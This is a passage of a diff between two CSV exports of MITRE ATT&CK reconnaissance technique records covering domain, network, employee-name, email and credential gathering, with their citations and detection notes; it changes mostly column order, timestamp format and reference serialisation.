Dumpster', 'description': 'Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.', 'url': 'https://dnsdumpster.com/'}, {'source_name': 'Circl Passive DNS', 'description': 'CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.', 'url': 'https://www.circl.lu/services/passive-dns/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 15:46:24.670000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T15:46:24.670Z,2021-04-15T03:30:33.508Z,Domain Properties,"Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers. -Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1590/001', external_id='T1590.001'), ExternalReference(source_name='WHOIS', description='NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.', url='https://www.whois.net/'), ExternalReference(source_name='DNS Dumpster', description='Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.', url='https://dnsdumpster.com/'), ExternalReference(source_name='Circl Passive DNS', description='CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.', url='https://www.circl.lu/services/passive-dns/')]",attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:30:33.508000+00:00,Domain Properties,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1590/001', 'external_id': 'T1590.001'}, {'source_name': 'WHOIS', 'description': 'NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.', 'url': 'https://www.whois.net/'}, {'source_name': 'DNS Dumpster', 'description': 'Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.', 'url': 'https://dnsdumpster.com/'}, {'source_name': 'Circl Passive DNS', 'description': 'CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.', 'url': 'https://www.circl.lu/services/passive-dns/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 15:45:17.628000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T15:45:17.628Z,2021-04-15T03:34:23.229Z,Gather Victim Network Information,"Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. -Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1590', external_id='T1590'), ExternalReference(source_name='WHOIS', description='NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.', url='https://www.whois.net/'), ExternalReference(source_name='DNS Dumpster', description='Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.', url='https://dnsdumpster.com/'), ExternalReference(source_name='Circl Passive DNS', description='CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.', url='https://www.circl.lu/services/passive-dns/')]",attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:34:23.229000+00:00,Gather Victim Network Information,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1590', 'external_id': 'T1590'}, {'source_name': 'WHOIS', 'description': 'NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.', 'url': 'https://www.whois.net/'}, {'source_name': 'DNS Dumpster', 'description': 'Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.', 'url': 'https://dnsdumpster.com/'}, {'source_name': 'Circl Passive DNS', 'description': 'CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.', 'url': 'https://www.circl.lu/services/passive-dns/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,False,,,,['PRE'],,,,1.0 -2020-10-02 14:57:15.906000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",False,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T14:57:15.906Z,2021-04-15T03:27:49.437Z,Employee Names,"Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures. -Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1589/003', external_id='T1589.003'), ExternalReference(source_name='OPM Leak', description='Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020.', url='https://www.opm.gov/cybersecurity/cybersecurity-incidents/')]",attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:27:49.437000+00:00,Employee Names,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1589/003', 'external_id': 'T1589.003'}, {'source_name': 'OPM Leak', 'description': 'Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020.', 'url': 'https://www.opm.gov/cybersecurity/cybersecurity-incidents/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 14:56:24.866000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T14:56:24.866Z,2021-04-15T03:27:19.702Z,Email Addresses,"Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees. -Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1589/002', external_id='T1589.002'), ExternalReference(source_name='HackersArise Email', description='Hackers Arise. (n.d.). Email Scraping and Maltego. Retrieved October 20, 2020.', url='https://www.hackers-arise.com/email-scraping-and-maltego'), ExternalReference(source_name='CNET Leaks', description='Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.', url='https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/')]",attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:27:19.702000+00:00,Email Addresses,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1589/002', 'external_id': 'T1589.002'}, {'source_name': 'HackersArise Email', 'description': 'Hackers Arise. (n.d.). Email Scraping and Maltego. Retrieved October 20, 2020.', 'url': 'https://www.hackers-arise.com/email-scraping-and-maltego'}, {'source_name': 'CNET Leaks', 'description': 'Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.', 'url': 'https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 14:55:43.815000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T14:55:43.815Z,2021-04-15T03:26:44.352Z,Credentials,"Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. -Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1589/001', external_id='T1589.001'), ExternalReference(source_name='ATT ScanBox', description='Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.', url='https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks'), ExternalReference(source_name='Register Deloitte', description=""Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020."", url='https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/'), ExternalReference(source_name='Register Uber', description='McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.', url='https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/'), ExternalReference(source_name='Detectify Slack Tokens', description='Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020.', url='https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/'), ExternalReference(source_name='Forbes GitHub Creds', description='Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.', url='https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196'), ExternalReference(source_name='GitHub truffleHog', description='Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.', url='https://github.com/dxa4481/truffleHog'), ExternalReference(source_name='GitHub Gitrob', description='Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.', url='https://github.com/michenriksen/gitrob'), ExternalReference(source_name='CNET Leaks', description='Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.', url='https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/')]",attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:26:44.352000+00:00,Credentials,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Vinayak Wadhwa, Lucideus', 'Lee Christensen, SpecterOps', 'Toby Kohlenberg']",,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1589/001', 'external_id': 'T1589.001'}, {'source_name': 'ATT ScanBox', 'description': 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.', 'url': 'https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks'}, {'source_name': 'Register Deloitte', 'description': ""Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020."", 'url': 'https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/'}, {'source_name': 'Register Uber', 'description': 'McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.', 'url': 'https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/'}, {'source_name': 'Detectify Slack Tokens', 'description': 'Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020.', 'url': 'https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/'}, {'source_name': 'Forbes GitHub Creds', 'description': 'Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.', 'url': 'https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196'}, {'source_name': 'GitHub truffleHog', 'description': 'Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.', 'url': 'https://github.com/dxa4481/truffleHog'}, {'source_name': 'GitHub Gitrob', 'description': 'Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.', 'url': 'https://github.com/michenriksen/gitrob'}, {'source_name': 'CNET Leaks', 'description': 'Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.', 'url': 'https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Vinayak Wadhwa, Lucideus', 'Lee Christensen, SpecterOps', 'Toby Kohlenberg']",,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 14:54:59.263000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T14:54:59.263Z,2021-04-15T03:27:49.579Z,Gather Victim Identity Information,"Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials. -Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1589', external_id='T1589'), ExternalReference(source_name='OPM Leak', description='Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020.', url='https://www.opm.gov/cybersecurity/cybersecurity-incidents/'), ExternalReference(source_name='Register Deloitte', description=""Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020."", url='https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/'), ExternalReference(source_name='Register Uber', description='McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.', url='https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/'), ExternalReference(source_name='Detectify Slack Tokens', description='Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020.', url='https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/'), ExternalReference(source_name='Forbes GitHub Creds', description='Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.', url='https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196'), ExternalReference(source_name='GitHub truffleHog', description='Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.', url='https://github.com/dxa4481/truffleHog'), ExternalReference(source_name='GitHub Gitrob', description='Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.', url='https://github.com/michenriksen/gitrob'), ExternalReference(source_name='CNET Leaks', description='Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.', url='https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/')]",attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:27:49.579000+00:00,Gather Victim Identity Information,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1589', 'external_id': 'T1589'}, {'source_name': 'OPM Leak', 'description': 'Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020.', 'url': 'https://www.opm.gov/cybersecurity/cybersecurity-incidents/'}, {'source_name': 'Register Deloitte', 'description': ""Thomson, I. (2017, September 26). 